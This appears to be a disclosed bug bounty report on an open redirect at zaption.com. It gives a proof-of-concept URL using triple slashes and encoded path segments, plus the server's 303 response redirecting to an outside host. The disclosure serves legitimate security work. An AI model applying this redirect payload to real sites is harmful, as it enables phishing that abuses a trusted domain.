Zaption · Report #45516
[zaption.com] Open Redirect
Validstatus
9upvotes
29 Oct 2016disclosed
How it was found
PoC: http://zaption.com///www.google.com/%2f%2e%2e
HTTP Response:
HTTP/1.1 303 See Other Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Date: Wed, 28 Jan 2015 11:10:52 GMT Location: //www.google.com/%2f%2e%2e/